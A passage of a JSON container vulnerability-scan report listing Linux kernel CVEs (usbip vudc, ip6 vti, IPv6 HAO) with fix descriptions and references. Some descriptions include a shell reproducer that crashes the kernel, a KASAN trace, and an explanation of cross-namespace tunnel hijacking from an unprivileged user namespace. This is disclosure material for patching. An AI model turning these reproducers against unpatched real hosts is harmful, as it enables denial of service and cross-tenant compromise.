"DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63905", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0da9d60856c68ffe911e02805a8eea8c94b3b09656caf6117bcf9d120d683b94", "Title": "kernel: usbip: vudc: Fix use after free bug in vudc_remove due to race condition", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nusbip: vudc: Fix use after free bug in vudc_remove due to race condition\n\nThis patch follows up Zheng Wang's 2023 report of a use-after-free in\nvudc_remove(). The original thread stalled on Shuah Khan's request for\nruntime testing of the unplug/unbind path. This patch supplies that\ntesting and keeps Zheng's original fix shape.\n\nIn vudc_probe(), v_init_timer() binds udc-\u003etr_timer.timer to v_timer().\nusbip_sockfd_store() starts the timer via v_start_timer()/v_kick_timer().\nvudc_remove() can then free the containing struct vudc while the timer is\nstill pending or executing.\n\nKASAN confirms the race on an unpatched x86_64 QEMU guest with\nCONFIG_KASAN=y, CONFIG_USBIP_VUDC=y, CONFIG_USB_ZERO=y, and a tight loop\nthat repeatedly writes a socket fd to usbip_sockfd, closes the socket\npair, and unbinds/rebinds usbip-vudc.0:\n\n BUG: KASAN: slab-use-after-free in __run_timer_base.part.0+0x8ba/0x8e0\n Write of size 8 at addr ffff888001b80740 by task trigger_and_unb/239\n Allocated by task 239:\n vudc_probe+0x4d/0xaa0\n Freed by task 239:\n kfree+0x18f/0x520\n device_release_driver_internal+0x388/0x540\n unbind_store+0xd9/0x100\n\nThis lands in the timer core rather than v_timer() itself because the\nembedded timer_list is being walked after its containing struct vudc has\nalready been freed. The underlying lifetime bug is the same one Zheng\nreported.\n\nWith v_stop_timer() called from vudc_remove() and the timer deleted\nsynchronously, the same harness completed 5000 bind/unbind iterations\nwith no KASAN report.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63905", "https://git.kernel.org/linus/d96209626a29ea64666be98c30b30ac82e5f1be6%20%287.1-rc6%29", "https://git.kernel.org/stable/c/1036ac6148995feaf486014d32bf26bf993c06a9", "https://git.kernel.org/stable/c/207bf80362df3fce8ebc9723351dcb1bc6d9ed0f", "https://git.kernel.org/stable/c/61704e5cf9cd7464b510eb606e7e2978b1160a64", "https://git.kernel.org/stable/c/88d459e5b5a46da1ef9fd6f52d9439343edeec88", "https://git.kernel.org/stable/c/a0638db2340ee053ab0450656a763fd111475e54", "https://git.kernel.org/stable/c/d07ed707467ce05ea9c03412d0c5ee9d0fe386a6", "https://git.kernel.org/stable/c/d96209626a29ea64666be98c30b30ac82e5f1be6", "https://git.kernel.org/stable/c/dcc1c90b28b28b7c493547506297e78653f81952", "https://linux.oracle.com/cve/CVE-2026-63905.html", "https://linux.oracle.com/errata/ELBA-2026-500163.html", "https://lore.kernel.org/linux-cve-announce/2026071944-CVE-2026-63905-909d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63905", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-63905" ], "PublishedDate": "2026-07-19T16:17:08.26Z", "LastModifiedDate": "2026-10-30T14:37:32.33Z" }, { "VulnerabilityID": "CVE-2026-63917", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63917", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7409a27580d5502c86a79b6e681cfebba9d96bc6e559f8ebe1e702763d0a7200", "Title": "kernel: ip6: vti: Use ip6_tnl.net in vti6_changelink()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nip6: vti: Use ip6_tnl.net in vti6_changelink().\n\nip netns add ns1\nip netns add ns2\nip -n ns1 link add vti6_test type vti6 remote ::1 local ::2 key 7\nip -n ns1 link set vti6_test netns ns2\nip -n ns2 link set vti6_test type vti6 remote ::3 local ::4 key 9\nip netns del ns2\nip netns del ns1\n[ 132.495484] ------------[ cut here ]------------\n[ 132.497609] kernel BUG at net/core/dev.c:12376!\n\nCommit 61220ab34948 (\"vti6: Enable namespace changing\") dropped\nNETIF_F_NETNS_LOCAL from vti6 devices. A vti6 tunnel can then\nmove through IFLA_NET_NS_FD. After the move dev_net(dev) points\nat the new netns while t-\u003enet stays at the creation netns.\n\nvti6_changelink() and vti6_update() still use dev_net(dev) and\ndev_net(t-\u003edev). They unlink from one per netns hash and relink\ninto another. The creation netns is left with a stale entry.\ncleanup_net() of that netns later walks freed memory.\n\nReachable from an unprivileged user namespace (unshare --user\n--map-root-user --net). Cross tenant scope on container hosts.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:68570", "https://access.redhat.com/security/cve/CVE-2026-63917", "https://bugzilla.redhat.com/2439924", "https://bugzilla.redhat.com/2461462", "https://bugzilla.redhat.com/2482098", "https://bugzilla.redhat.com/2482127", "https://bugzilla.redhat.com/2482550", "https://bugzilla.redhat.com/2482618", "https://bugzilla.redhat.com/2492436", "https://bugzilla.redhat.com/2492741", "https://bugzilla.redhat.com/2492742", "https://bugzilla.redhat.com/2492750", "https://bugzilla.redhat.com/2492779", "https://bugzilla.redhat.com/2492792", "https://bugzilla.redhat.com/2502295", "https://bugzilla.redhat.com/2502347", "https://bugzilla.redhat.com/2502368", "https://bugzilla.redhat.com/2502412", "https://bugzilla.redhat.com/2502434", "https://bugzilla.redhat.com/2502438", "https://bugzilla.redhat.com/2502575", "https://bugzilla.redhat.com/2502580", "https://bugzilla.redhat.com/2502596", "https://bugzilla.redhat.com/2511448", "https://bugzilla.redhat.com/2513165", "https://bugzilla.redhat.com/2513171", "https://bugzilla.redhat.com/2513271", "https://bugzilla.redhat.com/2513286", "https://bugzilla.redhat.com/2513477", "https://bugzilla.redhat.com/2516490", "https://bugzilla.redhat.com/2516599", "https://bugzilla.redhat.com/2516679", "https://bugzilla.redhat.com/2516684", "https://bugzilla.redhat.com/show_bug.cgi?id=2439924", "https://bugzilla.redhat.com/show_bug.cgi?id=2461462", "https://bugzilla.redhat.com/show_bug.cgi?id=2482098", "https://bugzilla.redhat.com/show_bug.cgi?id=2482127", "https://bugzilla.redhat.com/show_bug.cgi?id=2482550", "https://bugzilla.redhat.com/show_bug.cgi?id=2482618", "https://bugzilla.redhat.com/show_bug.cgi?id=2492436", "https://bugzilla.redhat.com/show_bug.cgi?id=2492741", "https://bugzilla.redhat.com/show_bug.cgi?id=2492742", "https://bugzilla.redhat.com/show_bug.cgi?id=2492750", "https://bugzilla.redhat.com/show_bug.cgi?id=2492779", "https://bugzilla.redhat.com/show_bug.cgi?id=2492792", "https://bugzilla.redhat.com/show_bug.cgi?id=2502295", "https://bugzilla.redhat.com/show_bug.cgi?id=2502347", "https://bugzilla.redhat.com/show_bug.cgi?id=2502368", "https://bugzilla.redhat.com/show_bug.cgi?id=2502412", "https://bugzilla.redhat.com/show_bug.cgi?id=2502434", "https://bugzilla.redhat.com/show_bug.cgi?id=2502438", "https://bugzilla.redhat.com/show_bug.cgi?id=2502575", "https://bugzilla.redhat.com/show_bug.cgi?id=2502580", "https://bugzilla.redhat.com/show_bug.cgi?id=2502596", "https://bugzilla.redhat.com/show_bug.cgi?id=2511448", "https://bugzilla.redhat.com/show_bug.cgi?id=2513165", "https://bugzilla.redhat.com/show_bug.cgi?id=2513171", "https://bugzilla.redhat.com/show_bug.cgi?id=2513271", "https://bugzilla.redhat.com/show_bug.cgi?id=2513286", "https://bugzilla.redhat.com/show_bug.cgi?id=2513477", "https://bugzilla.redhat.com/show_bug.cgi?id=2516490", "https://bugzilla.redhat.com/show_bug.cgi?id=2516599", "https://bugzilla.redhat.com/show_bug.cgi?id=2516679", "https://bugzilla.redhat.com/show_bug.cgi?id=2516684", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23172", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45910", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46043", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46133", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52971", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53176", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53192", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53193", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53196", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63869", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63913", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63917", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63919", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64029", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64174", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64175", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64176", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68128", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68159", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68200", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68363", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68426", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72102", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72243", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72298", "https://errata.almalinux.org/9/ALSA-2026-68570.html", "https://errata.rockylinux.org/RLSA-2026:68570", "https://git.kernel.org/linus/11b326fb0a374f4654f9be22d0f0f7abd9f7d3fe%20%287.1-rc6%29", "https://git.kernel.org/stable/c/0cdce7618464f7fb06f461e8f4ad575cb1d570f4", "https://git.kernel.org/stable/c/11b326fb0a374f4654f9be22d0f0f7abd9f7d3fe", "https://git.kernel.org/stable/c/225b467e3b631f38be22e4b38062a1fed02fdd21", "https://git.kernel.org/stable/c/d9c5eecdb3c740e65038651db7c686b10d76d1bc", "https://git.kernel.org/stable/c/ee1778ba0f5cb53be771f97017d01eb356c797bf", "https://git.kernel.org/stable/c/f1e89a943ee574d0f2f16246eb3f2d7330fdeb03", "https://git.kernel.org/stable/c/f5c68875e25f331e497ddfbe81e2d8163a87f136", "https://git.kernel.org/stable/c/fc32be9ac2788524c6b24efd681cce7a6e731a92", "https://linux.oracle.com/cve/CVE-2026-63917.html", "https://linux.oracle.com/errata/ELSA-2026-68570.html", "https://lore.kernel.org/linux-cve-announce/2026071947-CVE-2026-63917-4a8f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63917", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-63917" ], "PublishedDate": "2026-07-19T16:17:09.783Z", "LastModifiedDate": "2026-10-30T17:44:18.477Z" }, { "VulnerabilityID": "CVE-2026-63921", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63921", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e306b568a08e36c1d2dc70653fc49fcc0c1ca34af4a8a54eb4fbf295416222a5", "Title": "kernel: ip6: vti: Use ip6_tnl.net in vti6_siocdevprivate()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nip6: vti: Use ip6_tnl.net in vti6_siocdevprivate().\n\nAfter patch 1/2 in this series, vti6_update() unlinks and relinks\nthe tunnel through t-\u003enet. vti6_siocdevprivate() still uses\ndev_net(dev) for the collision lookup. For a tunnel moved through\nIFLA_NET_NS_FD, dev_net(dev) is the new netns, not t-\u003enet.\n\nSIOCCHGTUNNEL on a migrated tunnel then runs:\n\n net = dev_net(dev) /* migrated netns */\n t = vti6_locate(net, \u0026p1, false) /* misses target in t-\u003enet */\n ...\n t = netdev_priv(dev)\n vti6_update(t, \u0026p1, false) /* mutates t-\u003enet's hash */\n\nA caller in the migrated netns picks params that match a tunnel\nin the creation netns. The lookup in dev_net(dev) finds nothing.\nvti6_update() prepends the migrated tunnel at the head of the\ncreation netns hash bucket for those params. Later lookups in\nthe creation netns resolve to the migrated device. xfrm receive\ndelivers the matched packets through a device the caller controls.\n\nReachable from an unprivileged user namespace (unshare --user\n--map-root-user --net). Cross tenant scope on container hosts.\n\nSwitch the SIOCCHGTUNNEL path on a non fallback device to use\nt-\u003enet for the lookup. The lookup now matches the netns\nvti6_update() operates on.\n\nAlso add ns_capable(self-\u003enet-\u003euser_ns, CAP_NET_ADMIN) before\nthe lookup. The check at the top of the case is against\ndev_net(dev)-\u003euser_ns, which after migration is the attacker's\nnetns. A caller there can pick params absent from self-\u003enet,\nthe lookup returns NULL, t becomes self, and vti6_update()\ninserts the device into the creation netns hash. The new check\nrequires CAP_NET_ADMIN in the creation netns user_ns too.\n\nSIOCADDTUNNEL and SIOCCHGTUNNEL on the fallback device keep\ndev_net(dev), which equals init_net there.", "Severity": "HIGH", "CweIDs": [ "CWE-862" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:68570", "https://access.redhat.com/security/cve/CVE-2026-63921", "https://bugzilla.redhat.com/2439924", "https://bugzilla.redhat.com/2461462", "https://bugzilla.redhat.com/2482098", "https://bugzilla.redhat.com/2482127", "https://bugzilla.redhat.com/2482550", "https://bugzilla.redhat.com/2482618", "https://bugzilla.redhat.com/2492436", "https://bugzilla.redhat.com/2492741", "https://bugzilla.redhat.com/2492742", "https://bugzilla.redhat.com/2492750", "https://bugzilla.redhat.com/2492779", "https://bugzilla.redhat.com/2492792", "https://bugzilla.redhat.com/2502295", "https://bugzilla.redhat.com/2502347", "https://bugzilla.redhat.com/2502368", "https://bugzilla.redhat.com/2502412", "https://bugzilla.redhat.com/2502434", "https://bugzilla.redhat.com/2502438", "https://bugzilla.redhat.com/2502575", "https://bugzilla.redhat.com/2502580", "https://bugzilla.redhat.com/2502596", "https://bugzilla.redhat.com/2511448", "https://bugzilla.redhat.com/2513165", "https://bugzilla.redhat.com/2513171", "https://bugzilla.redhat.com/2513271", "https://bugzilla.redhat.com/2513286", "https://bugzilla.redhat.com/2513477", "https://bugzilla.redhat.com/2516490", "https://bugzilla.redhat.com/2516599", "https://bugzilla.redhat.com/2516679", "https://bugzilla.redhat.com/2516684", "https://bugzilla.redhat.com/show_bug.cgi?id=2439924", "https://bugzilla.redhat.com/show_bug.cgi?id=2461462", "https://bugzilla.redhat.com/show_bug.cgi?id=2482098", "https://bugzilla.redhat.com/show_bug.cgi?id=2482127", "https://bugzilla.redhat.com/show_bug.cgi?id=2482550", "https://bugzilla.redhat.com/show_bug.cgi?id=2482618", "https://bugzilla.redhat.com/show_bug.cgi?id=2492436", "https://bugzilla.redhat.com/show_bug.cgi?id=2492741", "https://bugzilla.redhat.com/show_bug.cgi?id=2492742", "https://bugzilla.redhat.com/show_bug.cgi?id=2492750", "https://bugzilla.redhat.com/show_bug.cgi?id=2492779", "https://bugzilla.redhat.com/show_bug.cgi?id=2492792", "https://bugzilla.redhat.com/show_bug.cgi?id=2502295", "https://bugzilla.redhat.com/show_bug.cgi?id=2502347", "https://bugzilla.redhat.com/show_bug.cgi?id=2502368", "https://bugzilla.redhat.com/show_bug.cgi?id=2502412", "https://bugzilla.redhat.com/show_bug.cgi?id=2502434", "https://bugzilla.redhat.com/show_bug.cgi?id=2502438", "https://bugzilla.redhat.com/show_bug.cgi?id=2502575", "https://bugzilla.redhat.com/show_bug.cgi?id=2502580", "https://bugzilla.redhat.com/show_bug.cgi?id=2502596", "https://bugzilla.redhat.com/show_bug.cgi?id=2511448", "https://bugzilla.redhat.com/show_bug.cgi?id=2513165", "https://bugzilla.redhat.com/show_bug.cgi?id=2513171", "https://bugzilla.redhat.com/show_bug.cgi?id=2513271", "https://bugzilla.redhat.com/show_bug.cgi?id=2513286", "https://bugzilla.redhat.com/show_bug.cgi?id=2513477", "https://bugzilla.redhat.com/show_bug.cgi?id=2516490", "https://bugzilla.redhat.com/show_bug.cgi?id=2516599", "https://bugzilla.redhat.com/show_bug.cgi?id=2516679", "https://bugzilla.redhat.com/show_bug.cgi?id=2516684", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23172", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45910", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46043", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46133", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52971", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53176", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53192", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53193", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53196", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63869", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63913", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63917", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63919", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64029", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64174", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64175", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64176", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68128", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68159", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68200", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68363", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68426", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72102", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72243", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72298", "https://errata.almalinux.org/9/ALSA-2026-68570.html", "https://errata.rockylinux.org/RLSA-2026:68570", "https://git.kernel.org/linus/8b484efd5cb4eeef9021a661e198edc5349dacf6%20%287.1-rc6%29", "https://git.kernel.org/stable/c/1acfb7d9c6fc7e209ed7789392697e97e03edd33", "https://git.kernel.org/stable/c/44d2ff7d2178503b93151140a45dfa2ad49c9906", "https://git.kernel.org/stable/c/596f6354c96a891e58c04a09cbfb7b0d1ec00dab", "https://git.kernel.org/stable/c/853f6ea482dfcd3404bbef458ab4d68364eed838", "https://git.kernel.org/stable/c/8b484efd5cb4eeef9021a661e198edc5349dacf6", "https://git.kernel.org/stable/c/94ff740a7f9ef5c010784a325dca00cbf228f941", "https://git.kernel.org/stable/c/d2236348414bdd6558385f35aa7fdc9bf5634011", "https://git.kernel.org/stable/c/df42ac708acc3399bbb6dc5ca16e0540adda7bbf", "https://linux.oracle.com/cve/CVE-2026-63921.html", "https://linux.oracle.com/errata/ELSA-2026-68570.html", "https://lore.kernel.org/linux-cve-announce/2026071948-CVE-2026-63921-ea11@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63921", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-63921" ], "PublishedDate": "2026-07-19T16:17:10.3Z", "LastModifiedDate": "2026-10-27T12:54:08.507Z" }, { "VulnerabilityID": "CVE-2026-63922", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63922", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d1ad6e36a75891fa582c495793c57ddd3fcdd715ecf97a91f3b941d2e0fc0253", "Title": "kernel: ipv6: exthdrs: refresh nh after handling HAO option", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: exthdrs: refresh nh after handling HAO option\n\nip6_parse_tlv() caches skb_network_header(skb) in nh while walking\nIPv6 TLVs.\n\nipv6_dest_hao() may call pskb_expand_head() for a cloned skb, which can\nmove the skb head and invalidate the cached network header pointer.\nRefresh nh after ipv6_dest_hao() returns so any trailing padding or TLVs\nare parsed from the current skb head.\n\nThis matches the existing pattern used in ip6_parse_tlv() after helpers\nthat can modify skb header storage.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93437", "https://access.redhat.com/security/cve/CVE-2026-63922", "https://bugzilla.redhat.com/2502326", "https://bugzilla.redhat.com/2502327", "https://bugzilla.redhat.com/2502615", "https://bugzilla.redhat.com/2516579", "https://bugzilla.redhat.com/2516935", "https://bugzilla.redhat.com/2540555", "https://bugzilla.redhat.com/2559835", "https://errata.almalinux.org/8/ALSA-2026-93437.html", "https://git.kernel.org/linus/f7b52afe3592eae66e160586b45a3f2242972c63%20%287.1-rc6%29", "https://git.kernel.org/stable/c/12d957979e4a800167842f1b42be6a606d227ebe", "https://git.kernel.org/stable/c/1a11eb7431e3d2882f5bd5939c5a9bbc65ccf4d1", "https://git.kernel.org/stable/c/751db1b802a067b7fff25880f4e9f9152a171538", "https://git.kernel.org/stable/c/9b6dcc0a39fd71752937f0b6b3973e1416085dcf", "https://git.kernel.org/stable/c/b3ac54e5c905f86d22b502eacb5686a282c5659f", "https://git.kernel.org/stable/c/f7b52afe3592eae66e160586b45a3f2242972c63", "https://git.kernel.org/stable/c/f8aabed3ff3e986920cf02a2a2785e08e586b234", "https://git.kernel.org/stable/c/ff375ed1cba81392346c5bfbf0bb7a13b2946f99", "https://linux.oracle.com/cve/CVE-2026-63922.html", "https://linux.oracle.com/errata/ELSA-2026-93436.html", "https://lore.kernel.org/linux-cve-announce/2026071948-CVE-2026-63922-5716@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63922", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8817-1", "https://ubuntu.com/security/notices/USN-8817-2", "https://ubuntu.com/security/notices/USN-8817-3", "https://ubuntu.com/security/notices/USN-8818-1", "https://ubuntu.com/security/notices/USN-8818-2", "https://ubuntu.com/security/notices/USN-8818-3", "https://ubuntu.com/security/notices/USN-8818-4", "https://ubuntu.com/security/notices/USN-8818-5", "https://ubuntu.com/security/notices/USN-8818-6", "https://ubuntu.com/security/notices/USN-8842-1", "https://ubuntu.com/security/notices/USN-8849-1", "https://ubuntu.com/security/notices/USN-8871-1", 